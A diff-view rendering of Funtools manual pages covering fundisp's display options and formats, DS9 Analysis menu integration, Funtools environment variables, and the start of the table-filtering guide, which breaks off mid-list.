||||
-F [c] # use specified character as column separator (def: space)
|
||||
-T # output in rdb/starbase format (tab separators)
|
||||
|
||||
|
||||
|
||||
|
||||
=head1 DESCRIPTION
|
||||
|
||||
|
||||
|
||||
|
||||
B<fundisp> displays the data in the specified
|
||||
FITS Extension
|
||||
and/or
|
||||
Image Section
|
||||
of a FITS file, or in a
|
||||
Section
|
||||
of a non-FITS array or raw event file.
|
||||
|
||||
The first argument to the program specifies the FITS input image, array, or
|
||||
raw event file to display. If "stdin" is specified, data are read from
|
||||
the standard input. Use Funtools Bracket
|
||||
Notation to specify FITS extensions, image sections, and filters.
|
||||
|
||||
|
||||
If the data being displayed are columns (either in a FITS binary table
|
||||
or a raw event file), the individual rows are listed. Filters can be
|
||||
added using bracket notation. Thus:
|
||||
|
||||
[sh] fundisp "test.ev[time-(int)time>.15]"
|
||||
X Y PHA PI TIME DX DY
|
||||
------- ------- ------- --------- ---------------- ---------- ----------
|
||||
10 8 10 8 17.1600 8.50 10.50
|
||||
9 9 9 9 17.1600 9.50 9.50
|
||||
10 9 10 9 18.1600 9.50 10.50
|
||||
10 9 10 9 18.1700 9.50 10.50
|
||||
8 10 8 10 17.1600 10.50 8.50
|
||||
9 10 9 10 18.1600 10.50 9.50
|
||||
9 10 9 10 18.1700 10.50 9.50
|
||||
10 10 10 10 19.1600 10.50 10.50
|
||||
10 10 10 10 19.1700 10.50 10.50
|
||||
10 10 10 10 19.1800 10.50 10.50
|
||||
|
||||
[NB: The FITS binary table test file test.ev, as well as the FITS
|
||||
image test.fits, are contained in the funtools funtest directory.]
|
||||
|
||||
|
||||
When a table is being displayed using B<fundisp>, a second optional
|
||||
argument can be used to specify the columns to display. For example:
|
||||
|
||||
[sh] fundisp "test.ev[time-(int)time>=.99]" "x y time"
|
||||
X Y TIME
|
||||
-------- -------- ---------------------
|
||||
5 -6 40.99000000
|
||||
4 -5 59.99000000
|
||||
-1 0 154.99000000
|
||||
-2 1 168.99000000
|
||||
-3 2 183.99000000
|
||||
-4 3 199.99000000
|
||||
-5 4 216.99000000
|
||||
-6 5 234.99000000
|
||||
-7 6 253.99000000
|
||||
|
||||
|
||||
|
||||
The special column B<$REGION> can be specified to display the
|
||||
region id of each row:
|
||||
|
||||
[sh $] fundisp "test.ev[time-(int)time>=.99&&annulus(0 0 0 10 n=3)]" 'x y time $REGION'
|
||||
X Y TIME REGION
|
||||
-------- -------- --------------------- ----------
|
||||
5 -6 40.99000000 3
|
||||
4 -5 59.99000000 2
|
||||
-1 0 154.99000000 1
|
||||
-2 1 168.99000000 1
|
||||
-3 2 183.99000000 2
|
||||
-4 3 199.99000000 2
|
||||
-5 4 216.99000000 2
|
||||
-6 5 234.99000000 3
|
||||
-7 6 253.99000000 3
|
||||
|
||||
|
||||
Here only rows with the proper fractional time and whose position also is
|
||||
within one of the three annuli are displayed.
|
||||
|
||||
Columns can be excluded from display using a minus sign before the
|
||||
column:
|
||||
|
||||
[sh $] fundisp "test.ev[time-(int)time>=.99]" "-time"
|
||||
X Y PHA PI DX DY
|
||||
-------- -------- -------- ---------- ----------- -----------
|
||||
5 -6 5 -6 5.50 -6.50
|
||||
4 -5 4 -5 4.50 -5.50
|
||||
-1 0 -1 0 -1.50 0.50
|
||||
-2 1 -2 1 -2.50 1.50
|
||||
-3 2 -3 2 -3.50 2.50
|
||||
-4 3 -4 3 -4.50 3.50
|
||||
-5 4 -5 4 -5.50 4.50
|
||||
-6 5 -6 5 -6.50 5.50
|
||||
-7 6 -7 6 -7.50 6.50
|
||||
|
||||
All columns except the time column are displayed.
|
||||
|
||||
The special column B<$N> can be specified to display the
|
||||
ordinal value of each row. Thus, continuing the previous example:
|
||||
|
||||
fundisp "test.ev[time-(int)time>=.99]" '-time $n'
|
||||
X Y PHA PI DX DY N
|
||||
------- -------- -------- ---------- ----------- ----------- ----------
|
||||
5 -6 5 -6 5.50 -6.50 337
|
||||
4 -5 4 -5 4.50 -5.50 356
|
||||
-1 0 -1 0 -1.50 0.50 451
|
||||
-2 1 -2 1 -2.50 1.50 465
|
||||
-3 2 -3 2 -3.50 2.50 480
|
||||
-4 3 -4 3 -4.50 3.50 496
|
||||
-5 4 -5 4 -5.50 4.50 513
|
||||
-6 5 -6 5 -6.50 5.50 531
|
||||
-7 6 -7 6 -7.50 6.50 550
|
||||
|
||||
Note that the column specification is enclosed in single quotes to protect
|
||||
'$n' from begin expanded by the shell.
|
||||
|
||||
|
||||
In general, the rules for activating and de-activating columns are:
|
||||
|
||||
|
||||
=over 4
|
||||
|
||||
|
||||
|
||||
|
||||
=item *
|
||||
|
||||
If only exclude columns are specified, then all columns but
|
||||
the exclude columns will be activated.
|
||||
|
||||
|
||||
=item *
|
||||
|
||||
If only include columns are specified, then only the specified columns
|
||||
are activated.
|
||||
|
||||
|
||||
=item *
|
||||
|
||||
If a mixture of include and exclude columns are specified, then
|
||||
all but the exclude columns will be active; this last case
|
||||
is ambiguous and the rule is arbitrary.
|
||||
|
||||
|
||||
=back
|
||||
|
||||
|
||||
In addition to specifying columns names explicitly, the special
|
||||
symbols B<+> and B<-> can be used to activate and
|
||||
de-activate B<all> columns. This is useful if you want to
|
||||
activate the $REGION column along with all other columns. According
|
||||
to the rules, the syntax "$REGION" only activates the region column
|
||||
and de-activates the rest. Use "+ $REGION" to activate all
|
||||
columns as well as the region column.
|
||||
|
||||
|
||||
If the data being displayed are image data (either in a FITS primary
|
||||
image, a FITS image extension, or an array file), an mxn pixel display
|
||||
is produced, where m and n are the dimensions of the image. By
|
||||
default, pixel values are displayed using the same data type as in the
|
||||
file. However, for integer data where the BSCALE and BZERO header parameters
|
||||
are present, the data is displayed as floats. In either case, the
|
||||
display data type can be overridden using an optional second argument
|
||||
of the form:
|
||||
|
||||
bitpix=n
|
||||
|
||||
where n is 8,16,32,-32,-64, for unsigned char, short, int, float and double,
|
||||
respectively.
|
||||
|
||||
|
||||
Of course, running B<fundisp> on anything but the smallest image
|
||||
usually results in a display whose size makes it unreadable.
|
||||
Therefore, one can uses bracket notation (see below)
|
||||
to apply section and/or blocking to the image before generating a
|
||||
display. For example:
|
||||
|
||||
[sh] fundisp "test.fits[2:6,2:7]" bitpix=-32
|
||||
2 3 4 5 6
|
||||
---------- ---------- ---------- ---------- ----------
|
||||
2: 3.00 4.00 5.00 6.00 7.00
|
||||
3: 4.00 5.00 6.00 7.00 8.00
|
||||
4: 5.00 6.00 7.00 8.00 9.00
|
||||
5: 6.00 7.00 8.00 9.00 10.00
|
||||
6: 7.00 8.00 9.00 10.00 11.00
|
||||
7: 8.00 9.00 10.00 11.00 12.00
|
||||
|
||||
|
||||
|
||||
Note that is is possible to display a FITS binary table as an image
|
||||
simply by passing the table through B<funimage> first:
|
||||
|
||||
[sh] ./funimage test.ev stdout | fundisp "stdin[2:6,2:7]" bitpix=8
|
||||
2 3 4 5 6
|
||||
------- ------- ------- ------- -------
|
||||
2: 3 4 5 6 7
|
||||
3: 4 5 6 7 8
|
||||
4: 5 6 7 8 9
|
||||
5: 6 7 8 9 10
|
||||
6: 7 8 9 10 11
|
||||
7: 8 9 10 11 12
|
||||
|
||||
|
||||
If the B<-l> (list) switch is used, then an image is displayed as a
|
||||
list containing the columns: X, Y, VAL. For example:
|
||||
|
||||
fundisp -l "test1.fits[2:6,2:7]" bitpix=-32
|
||||
X Y VAL
|
||||
---------- ---------- -----------
|
||||
2 2 6.00
|
||||
3 2 1.00
|
||||
4 2 1.00
|
||||
5 2 1.00
|
||||
6 2 1.00
|
||||
2 3 1.00
|
||||
3 3 5.00
|
||||
4 3 1.00
|
||||
5 3 1.00
|
||||
6 3 1.00
|
||||
2 4 1.00
|
||||
3 4 1.00
|
||||
4 4 4.00
|
||||
5 4 1.00
|
||||
6 4 1.00
|
||||
2 5 1.00
|
||||
3 5 1.00
|
||||
4 5 1.00
|
||||
5 5 3.00
|
||||
6 5 1.00
|
||||
2 6 1.00
|
||||
3 6 1.00
|
||||
4 6 1.00
|
||||
5 6 1.00
|
||||
6 6 2.00
|
||||
2 7 1.00
|
||||
3 7 1.00
|
||||
4 7 1.00
|
||||
5 7 1.00
|
||||
6 7 1.00
|
||||
|
||||
|
||||
|
||||
If the B<-n> (nohead) switch is used, then no header is output for
|
||||
tables. This is useful, for example, when fundisp output is being
|
||||
directed into gnuplot.
|
||||
|
||||
|
||||
The B<fundisp> program uses a default set of display formats:
|
||||
|
||||
datatype TFORM format
|
||||
-------- ----- --------
|
||||
double D "%21.8f"
|
||||
float E "%11.2f"
|
||||
int J "%10d"
|
||||
short I "%8d"
|
||||
byte B "%6d"
|
||||
string A "%12.12s"
|
||||
bits X "%8x"
|
||||
logical L "%1x"
|
||||
|
||||
Thus, the default display of 1 double and 2 shorts gives:
|
||||
|
||||
[sh] fundisp snr.ev "time x y"
|
||||
|
||||
TIME X Y
|
||||
--------------------- -------- --------
|
||||
79494546.56818075 546 201
|
||||
79488769.94469175 548 201
|
||||
...
|
||||
|
||||
You can change the display format for individual columns or for all
|
||||
columns of a given data types by means of the -f switch. The format
|
||||
string that accompanies -f is a space-delimited list of keyword=format
|
||||
values. The keyword values can either be column names (in which case
|
||||
the associated format pertains only to that column) or FITS table
|
||||
TFORM specifiers (in which case the format pertains to all columns
|
||||
having that data type). For example, you can change the double and
|
||||
short formats for all columns like this:
|
||||
|
||||
[sh] fundisp -f "D=%22.11f I=%3d" snr.ev "time x y"
|
||||
|
||||
TIME X Y
|
||||
---------------------- --- ---
|
||||
79494546.56818075478 546 201
|
||||
79488769.94469174743 548 201
|
||||
...
|
||||
|
||||
|
||||
|
||||
Alternatively, you can change the format of the time and x columns like this:
|
||||
|
||||
[sh] fundisp -f "time=%22.11f x=%3d" snr.ev "time x y"
|
||||
|
||||
TIME X Y
|
||||
---------------------- --- --------
|
||||
79494546.56818075478 546 201
|
||||
79488769.94469174743 548 201
|
||||
...
|
||||
|
||||
Note that there is a potential conflict if a column has the same name
|
||||
as one of the TFORM specifiers. In the examples above, the the "X"
|
||||
column in the table has the same name as the X (bit) datatype. To
|
||||
resolve this conflict, the format string is processed such that
|
||||
TFORM datatype specifiers are checked for first, using a
|
||||
case-sensitive comparison. If the specified format value is not an
|
||||
upper case TFORM value, then a case-insensitive check is made on the
|
||||
column name. This means that, in the examples above, "X=%3d" will refer
|
||||
to the X (bit) datatype, while "x=%3d" will refer to the X column:
|
||||
|
||||
[sh] fundisp -f "X=%3d" snr.ev "x y"
|
||||
|
||||
X Y
|
||||
-------- --------
|
||||
546 201
|
||||
548 201
|
||||
...
|
||||
|
||||
[sh] fundisp -f "x=%3d" snr.ev "x y"
|
||||
|
||||
X Y
|
||||
--- --------
|
||||
546 201
|
||||
548 201
|
||||
...
|
||||
|
||||
As a rule, therefore, it is best always to specify the column name in
|
||||
lower case and TFORM data types in upper case.
|
||||
|
||||
|
||||
The B<-f [format]> will change the format for a single execution
|
||||
of fundisp. You also can use the B<FUN_FORMAT> envronment variable
|
||||
to change the format for all invocations of fundisp. The format of this
|
||||
environment variable's value is identical to that used with
|
||||
the B<-f> switch. This global value can be overridden in
|
||||
individual cases by use of the B<-f [format]> switch.
|
||||
|
||||
|
||||
Caveats: Please also note that it is the user's responsibility to
|
||||
match the format specifier to the column data type correctly. Also
|
||||
note that, in order to maintain visual alignment between names and
|
||||
columns, the column name will be truncated (on the left) if the
|
||||
format width is less than the length of the name. However, truncation
|
||||
is not performed if the output is in RDB format (using the -T switch).
|
||||
|
||||
|
||||
[An older-style format string is supported but deprecated. It
|
||||
consists of space-delimited C format statements for all data types,
|
||||
specified in the following order:
|
||||
|
||||
double float int short byte string bit.
|
||||
|
||||
This order of the list is based on the assumption that people generally
|
||||
will want to change the float formats.
|
||||
|
||||
If "-" is entered instead of a format statement for a given data type, the
|
||||
default format is used. Also, the format string can be terminated without
|
||||
specifying all formats, and defaults will be used for the rest of the
|
||||
list. Note that you must supply a minimum field width, i.e., "%6d" and
|
||||
"%-6d" are legal, "%d" is not legal.
|
||||
|
||||
By using -f [format], you can change the double and short formats like this:
|
||||
|
||||
[sh] fundisp -f "22.11f - - 3d" snr.ev "time x y"
|
||||
|
||||
TIME X Y
|
||||
---------------------- --- ---
|
||||
79494546.56818075478 546 201
|
||||
79488769.94469174743 548 201
|
||||
...
|
||||
|
||||
NB: This format is deprecated and will be removed in a future release.]
|
||||
|
||||
|
||||
The B<-F[c]> switch can be used to specify a (single-character)
|
||||
column separator (where the default is a space). Note that column
|
||||
formatting will almost certainly also add spaces to pad individual
|
||||
columns to the required width. These can be removed with a program
|
||||
such as sed, at the cost of generating unaligned columns. For example:
|
||||
|
||||
fundisp -F',' snr.ev'[cir 512 512 .1]'
|
||||
X, Y, PHA, PI, TIME, DX, DY
|
||||
--------,--------,--------,--------,---------------------,--------,--------
|
||||
512, 512, 6, 7, 79493997.45854475, 578, 574
|
||||
512, 512, 8, 9, 79494575.58943175, 579, 573
|
||||
512, 512, 5, 6, 79493631.03866175, 578, 575
|
||||
512, 512, 5, 5, 79493290.86521725, 578, 575
|
||||
512, 512, 8, 9, 79493432.00990875, 579, 573
|
||||
|
||||
fundisp -F',' snr.ev'[cir 512 512 .1]' | sed 's/ *, */,/g'
|
||||
X,Y,PHA,PI,TIME,DX,DY
|
||||
--------,--------,--------,--------,---------------------,--------,--------
|
||||
512,512,6,7,79493997.45854475,578,574
|
||||
512,512,8,9,79494575.58943175,579,573
|
||||
512,512,5,6,79493631.03866175,578,575
|
||||
512,512,5,5,79493290.86521725,578,575
|
||||
512,512,8,9,79493432.00990875,579,573
|
||||
|
||||
fundisp -f "x=%3d y=%3d pi=%1d pha=%1d time=%20.11f dx=%3d dy=%3d" -F',' snr.ev'[cir 512 512 .1]' | sed 's/ *, */,/g'
|
||||
X,Y,A,I,TIME,DX,DY
|
||||
---,---,-,-,--------------------,---,---
|
||||
512,512,6,7,79493997.45854474604,578,574
|
||||
512,512,8,9,79494575.58943174779,579,573
|
||||
512,512,5,6,79493631.03866174817,578,575
|
||||
512,512,5,5,79493290.86521725357,578,575
|
||||
512,512,8,9,79493432.00990875065,579,573
|
||||
|
||||
|
||||
|
||||
|
||||
If the B<-T> (rdb table) switch is used, the output will conform
|
||||
to starbase/rdb data base format: tabs will be inserted between
|
||||
columns rather than spaces. This format is not available when
|
||||
displaying image pixels (except in conjunction with the B<-l>
|
||||
switch).
|
||||
|
||||
|
||||
Finally, note that B<fundisp> can be used to create column filters from
|
||||
the auxiliary tables in a FITS file. For example, the following shell code
|
||||
will generate a good-time interval (GTI) filter for X-ray data files that
|
||||
contain a standard GTI extension:
|
||||
|
||||
#!/bin/sh
|
||||
sed '1,/---- .*/d
|
||||
/^$/,$d' | awk 'tot>0{printf "||"};{printf "time="$1":"$2; tot++}'
|
||||
|
||||
If this script is placed in a file called "mkgti", it can be used in a
|
||||
command such as:
|
||||
|
||||
fundisp foo.fits"[GTI]" | mkgti > gti.filter
|
||||
|
||||
The resulting filter file can then be used in various funtools programs:
|
||||
|
||||
funcnts foo.fits"[@gti.filter]" ...
|
||||
|
||||
to process only the events in the good-time intervals.
|
||||
|
||||
|
||||
|
||||
|
||||
=head1 SEE ALSO
|
||||
|
||||
|
||||
|
||||
See funtools(n) for a list of Funtools help pages
|
||||
|
||||
|
||||
=cut
|
|
@ -0,0 +1,113 @@
|
|||
=pod
|
||||
|
||||
=head1 NAME
|
||||
|
||||
|
||||
|
||||
B<FunDS9: Funtools and DS9 Image Display>
|
||||
|
||||
|
||||
|
||||
=head1 SYNOPSIS
|
||||
|
||||
|
||||
|
||||
|
||||
Describes how funtools can be integrated into the ds9 Analysis menu.
|
||||
|
||||
|
||||
|
||||
=head1 DESCRIPTION
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
SAOImage/DS9 is an astronomical imaging and data visualization
|
||||
application used by astronomers around the world. DS9 can display
|
||||
standard astronomical FITS images and binary tables, but also has
|
||||
support for displaying raw array files, shared memory files, and data
|
||||
files automatically retrieved via FTP and HTTP. Standard functional
|
||||
capabilities include multiple frame buffers, colormap and region
|
||||
manipulation, and many data scaling algorithms. DS9's advanced
|
||||
features include TrueColor visuals, deep frame buffers, true
|
||||
PostScript printing, and display of image mosaics. The program's
|
||||
support of image tiling, "blinking", arbitrary zoom, rotation, and pan
|
||||
is unparalleled in astronomy. It also has innovative support for
|
||||
automatic retrieval and display of standard image data such as the
|
||||
Digital Sky Survey (using servers at SAO, StScI, or ESO).
|
||||
|
||||
|
||||
DS9 can communicate with external programs such as Funtools using the
|
||||
XPA
|
||||
messaging system. In addition, programs can be integrated directly
|
||||
into the DS9 GUI by means of a configurable Analysis menu. By
|
||||
default, the DS9 Analysis menu contains algorithms deemed essential to
|
||||
the core functions of DS9, e.g., display cross-cuts of data,
|
||||
iso-intensity contours, and WCS grids. However, new programs can be
|
||||
added to DS9 by creating a set-up file which can be loaded into DS9
|
||||
to reconfigure the Analysis menu.
|
||||
|
||||
|
||||
The basic format of the analysis set-up file is:
|
||||
|
||||
#
|
||||
# Analysis command descriptions:
|
||||
# menu label/description
|
||||
# file templates for this command
|
||||
# "menu" (add to menu) |"bind" (bind to key)
|
||||
# analysis command line
|
||||
|
||||
|
||||
For example, the funcnts program can be specified in this way:
|
||||
|
||||
Funcnts (counts in source/bkgd regions; options: none)
|
||||
*
|
||||
menu
|
||||
funcnts $filename $regions(source,,) $regions(background,,) | $text
|
||||
|
||||
As shown above, DS9 supports a macro facility to provide information
|
||||
as well as task support to command lines. For example, the $regions
|
||||
macro is expanded by DS9 to provide the current source and/or
|
||||
background region to the analysis command. The $text macro is expanded
|
||||
to generate a text window display. It also is possible to query for
|
||||
parameters using a $param macro, plot data using a $plot macro,
|
||||
etc. See the DS9 documentation for further details.
|
||||
|
||||
|
||||
A set-up file called funtools.ds9 will
|
||||
load some useful Funtools applications (counts in regions, radial
|
||||
profile, X-ray light curve and energy spectrum, 1D histogram) into the DS9
|
||||
Analysis menu (version 2.1 and above). The file resides in the bin
|
||||
directory where Funtools programs are installed. It can be manually
|
||||
loaded into DS9 from the B<Load Analysis Commands ...> option of
|
||||
the B<Analysis> menu. Alternatively, you can tell DS9 to load
|
||||
this file automatically at start-up time by adding the pathname to the
|
||||
B<Edit>->B<Preferences>->B<Analysis Menu>->Analysis
|
||||
File menu option. (NB: make sure you select
|
||||
B<Edit>->B<Preferences>->B<Save Preferences> after setting
|
||||
the pathname.)
|
||||
|
||||
|
||||
The tasks in this setup file generally process the original disk-based
|
||||
FITS file. Funcnts-based results (radial profile, counts in regions)
|
||||
are presented in WCS units, if present in the FITS header. For
|
||||
situations where a disk file is not available (e.g., image data
|
||||
generated and sent to DS9's 'fits' XPA access point), versions of the
|
||||
radial profile and counts in regions tasks also are also offered
|
||||
utilizing DS9's internal image data. Results are presented in pixels.
|
||||
Aside from the units, the results should be identical to the file-based
|
||||
results.
|
||||
|
||||
|
||||
|
||||
=head1 SEE ALSO
|
||||
|
||||
|
||||
|
||||
See funtools(n) for a list of Funtools help pages
|
||||
|
||||
|
||||
|
||||
=cut
|
|
@ -0,0 +1,349 @@
|
|||
=pod
|
||||
|
||||
=head1 NAME
|
||||
|
||||
|
||||
|
||||
B<FunEnv: Funtools Environment Variables>
|
||||
|
||||
|
||||
|
||||
=head1 SYNOPSIS
|
||||
|
||||
|
||||
|
||||
|
||||
Describes the environment variables which can be used to tailor the overall
|
||||
Funtools environment.
|
||||
|
||||
|
||||
|
||||
=head1 DESCRIPTION
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
The following environment variables are supported by Funtools:
|
||||
|
||||
|
||||
=over 4
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
=item *
|
||||
|
||||
B<FITS_EXTNAME>
|
||||
|
||||
|
||||
The B<FITS_EXTNAME> environment variable specifies the
|
||||
default FITS extension name when FunOpen() is called on a file lacking
|
||||
a primary image. Thus,
|
||||
|
||||
setenv FITS_EXTNAME "NEWEV"
|
||||
|
||||
will allow you to call FunOpen() on files without specifying NEWEV in
|
||||
the
|
||||
Funtools bracket specification.
|
||||
If no FITS_EXTNAME variable is defined and the extension name also is
|
||||
not passed in the bracket specification, then the default will be to
|
||||
look for standard X-ray event table extension names "EVENTS" or
|
||||
"STDEVT" (we are, after all, and X-ray astronomy group at heart!).
|
||||
|
||||
|
||||
|
||||
|
||||
=item *
|
||||
|
||||
B<FITS_EXTNUM>
|
||||
|
||||
|
||||
The B<FITS_EXTNUM> environment variable specifies the
|
||||
default FITS extension number when FunOpen() is called on a file lacking
|
||||
a primary image. Thus,
|
||||
|
||||
setenv FITS_EXTNUM 7
|
||||
|
||||
will allow you to call FunOpen() on files to open the seventh
|
||||
extension without specifying the number in the
|
||||
Funtools bracket specification.
|
||||
|
||||
|
||||
|
||||
|
||||
=item *
|
||||
|
||||
B<FITS_BINCOLS> and B<EVENTS_BINCOLS>
|
||||
|
||||
|
||||
These environment variable specifies the default binning key for
|
||||
FITS binary tables and raw event files, respectively. They can be
|
||||
over-ridden using the B<bincols=[naxis1,naxis2]> keyword in a
|
||||
Funtools bracket specification.
|
||||
The value of each environment variable
|
||||
is a pair of comma-delimited columns, enclosed in parentheses, to use
|
||||
for binning. For example, if you want to bin on detx and dety by
|
||||
default, then use:
|
||||
|
||||
setenv FITS_BINCOLS "(detx,dety)"
|
||||
|
||||
in preference to adding a bincols specification to each filename:
|
||||
|
||||
foo.fits[bincols=(detx,dety)]
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
=item *
|
||||
|
||||
B<FITS_BITPIX> and B<EVENTS_BITPIX>
|
||||
|
||||
|
||||
These environment variable specifies the default bitpix value for
|
||||
binning FITS binary tables and raw event files, respectively. They can
|
||||
be over-ridden using the B<bitpix=[value]> keyword in a
|
||||
Funtools bracket specification. The value
|
||||
of each environment variable is one of the standard FITS bitpix values
|
||||
(8,16,32,-32,-64). For example, if you want binning routines to
|
||||
create a floating array, then use:
|
||||
|
||||
setenv FITS_BITPIX -32
|
||||
|
||||
in preference to adding a bitpix specification to each filename:
|
||||
|
||||
foo.fits[bitpix=-32]
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
=item *
|
||||
|
||||
B<ARRAY>
|
||||
|
||||
|
||||
The B<ARRAY> environment variable specifies the default
|
||||
definition of an array file for Funtools.
|
||||
It is used if there is no array specification passed in the
|
||||
B<ARRAY()> directive in a
|
||||
Non-FITS Array specification.
|
||||
The value of the environment variable is a valid array specification such as:
|
||||
|
||||
setenv ARRAY "s100.150"
|
||||
foo.arr[ARRAY()]
|
||||
|
||||
This can be defined in preference to adding the specification to each filename:
|
||||
|
||||
foo.arr[ARRAY(s100.150)]
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
=item *
|
||||
|
||||
B<EVENTS>
|
||||
|
||||
|
||||
The B<EVENTS> environment variable specifies the default
|
||||
definition of an raw event file for Funtools.
|
||||
It is used if there is no EVENTS specification passed in the
|
||||
B<EVENTS()> directive in a
|
||||
Non-FITS EVENTS specification.
|
||||
The value of the environment variable is a valid EVENTS specification such as:
|
||||
|
||||
setenv EVENTS "x:J:1024,y:J:1024,pi:I,pha:I,time:D,dx:E:1024,dx:E:1024"
|
||||
foo.ev[EVENTS()]
|
||||
|
||||
This can be defined in preference to adding the specification to each filename:
|
||||
|
||||
foo.ev[EVENTS(x:J:1024,y:J:1024,pi:I,pha:I,time:D,dx:E:1024,dx:E:1024)]
|
||||
|
||||
|
||||
|
||||
=back
|
||||
|
||||
|
||||
|
||||
The following filter-related environment variables are supported by Funtools:
|
||||
|
||||
|
||||
=over 4
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
=item *
|
||||
|
||||
B<FILTER_PTYPE>
|
||||
|
||||
|
||||
The B<FILTER_PTYPE> environment variable specifies how to
|
||||
build a filter. There are three possible methods:
|
||||
|
||||
|
||||
=over 4
|
||||
|
||||
|
||||
|
||||
|
||||
=item *
|
||||
|
||||
process or p
|
||||
|
||||
|
||||
The filter is compiled and linked against the funtools library (which
|
||||
must therefore be accessible in the original install directory) to produce
|
||||
a slave program. This program is fed events or image data and returns
|
||||
filter results.
|
||||
|
||||
|
||||
|
||||
=item *
|
||||
|
||||
dynamic or d (gcc only)
|
||||
|
||||
|
||||
The filter is compiled and linked against the funtools library (which
|
||||
must therefore be accessible in the original install directory) to produce
|
||||
a dynamic shared object, which is loaded into the funtools program and
|
||||
executed as a subroutine. (Extensive testing has shown that, contrary to
|
||||
expectations, this method is no faster than using a slave process.)
|
||||
|
||||
|
||||
|
||||
=item *
|
||||
|
||||
contained or c
|
||||
|
||||
|
||||
The filter and all supporting region code is compiled and linked
|
||||
without reference to the funtools library to produce a slave program
|
||||
(which is fed events or image data and returns filter results). This method
|
||||
is slower than the other two, because of the time it takes to compile the
|
||||
region filtering code. It is used by stand-alone programs such as ds9,
|
||||
which do not have access to the funtools library.
|
||||
|
||||
|
||||
=back
|
||||
|
||||
|
||||
|
||||
By default, B<dynamic> is generally used for gcc compilers and
|
||||
B<process> for other compilers. However the filter building algorithm
|
||||
will check for required external files and will use B<contained> is
|
||||
these are missing.
|
||||
|
||||
|
||||
|
||||
|
||||
=item *
|
||||
|
||||
B<FUN_MAXROW>
|
||||
|
||||
|
||||
The B<FUN_MAXROW> environment variable is used by core
|
||||
row-processing Funtools programs (funtable, fundisp, funcnts, funhist,
|
||||
funmerge, and funcalc) to set the maximum number of rows read at once
|
||||
(i.e. it sets the third argument to the FunTableRowGet() call). The
|
||||
default is 8192. Note that this variable is a convention only: it will
|
||||
not be a part of a non-core Funtools program unless code is explicitly
|
||||
added, since each call to FunTableRowGet() specifies its own maximum
|
||||
number of rows to read. NB: if you make this value very large, you
|
||||
probably will need to increase B<FUN_MAXBUFSIZE> (see below) as well.
|
||||
|
||||
|
||||
|
||||
|
||||
=item *
|
||||
|
||||
B<FUN_MAXBUFSIZE>
|
||||
|
||||
|
||||
The B<FUN_MAXBUFSIZE> environment variable is used to limit the
|
||||
max buffer size that will be allocated to hold table row data. This
|
||||
buffer size is calculated to be the row size of the table multiplied
|
||||
by the maximum number of rows read at once (see above). Since the
|
||||
row size is unlimited (and we have examples of it being larger than 5
|
||||
Mb), it is possible that the total buffer size will exceed the machine
|
||||
capabilities. We therefore set a default value of 5Mb for the max buffer
|
||||
size, and adjust maxrow so that the total size calculated is less than
|
||||
this max buffer size. (If the row size is greater than this max buffer
|
||||
size, then maxrow is set to 1.) This environment variable will change
|
||||
the max buffer size allowed.
|
||||
|
||||
|
||||
|
||||
|
||||
=item *
|
||||
|
||||
B<FILTER_CC>
|
||||
|
||||
|
||||
The B<FILTER_CC> environment variable specifies the compiler to
|
||||
use for compiling a filter specification. You also can use the B<CC>
|
||||
environment variable. If neither has been set, then gcc will be used
|
||||
if available. Otherwise cc is used if available.
|
||||
|
||||
|
||||
|
||||
|
||||
=item *
|
||||
|
||||
B<FILTER_EXTRA>
|
||||
|
||||
|
||||
The B<FILTER_EXTRA> environment variable specifies extra options
|
||||
to add to a filter compile command line. In principle, you can add libraries,
|
||||
include files, and compiler switches. This variable should be used with care.
|
||||
|
||||
|
||||
|
||||
|
||||
=item *
|
||||
|
||||
B<FILTER_TMPDIR>
|
||||
|
||||
|
||||
The B<FILTER_TMPDIR> environment variable specifies the temporary
|
||||
directory for filter compilation intermediate files. You also can use
|
||||
the B<TMPDIR> and B<TMP> variables. By default, /tmp is used
|
||||
as the temporary directory.
|
||||
|
||||
|
||||
|
||||
|
||||
=item *
|
||||
|
||||
B<FILTER_KEEP>
|
||||
|
||||
|
||||
The B<FILTER_KEEP> environment variable specifies whether the
|
||||
intermediate filter files (i.e. C source file and compile log file)
|
||||
should be saved after a filter is built. The default is "false", so that
|
||||
these intermediate files are deleted. This variable is useful for debugging,
|
||||
but care should be taken to reset its value to false when debugging is
|
||||
complete.
|
||||
|
||||
|
||||
|
||||
=back
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
=head1 SEE ALSO
|
||||
|
||||
|
||||
|
||||
See funtools(n) for a list of Funtools help pages
|
||||
|
||||
|
||||
|
||||
=cut
|
File diff suppressed because it is too large
Load Diff
|
@ -0,0 +1,521 @@
|
|||
=pod
|
||||
|
||||
=head1 NAME
|
||||
|
||||
|
||||
|
||||
B<Funfilters: Filtering Rows in a Table>
|
||||
|
||||
|
||||
|
||||
=head1 SYNOPSIS
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
This document contains a summary of the user interface for
|
||||
filtering rows in binary tables.
|
||||
|
||||
|
||||
|
||||
=head1 DESCRIPTION
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
Table filtering allows a program to select rows from an table (e.g.,
|
||||
X-ray event list) by checking each row against one or more expressions
|
||||
involving the columns in the table. When a table is filtered, only
|
||||
valid rows satisfying these expressions are passed through for processing.
|
||||
|
||||
|
||||
A filter expression is specified using bracket notation appended to
|
||||
the filename of the data being processed:
|
||||
|
||||
foo.fits[pha==1&&pi==2]
|
||||
|
||||
It is also possible to put region specification inside a file and
|
||||
then pass the filename in bracket notation:
|
||||
|
||||
foo.fits[@my.reg]
|
||||
|
||||
Filters must be placed after the extension and image section
|
||||
information, when such information is present. The correct order is:
|
||||
|
||||
|
||||
=over 4
|
||||
|
||||
|
||||
|
||||
|
||||
=item *
|
||||
|
||||
file[fileinfo,sectioninfo][filters]
|
||||
|
||||
|
||||
=item *
|
||||
|
||||
file[fileinfo,sectioninfo,filters]
|
||||
|
||||
|
||||
=back
|
||||
|
||||
|
||||
where:
|
||||
|
||||
|
||||
=over 4
|
||||
|
||||
|
||||
|
||||
|
||||
=item *
|
||||
|
||||
B<file> is the Funtools file name
|
||||
|
||||
|
||||
=item *
|
||||
|
||||
B<fileinfo> is an ARRAY, EVENT, FITS extension, or FITS index
|
||||
|
||||
|
||||
=item *
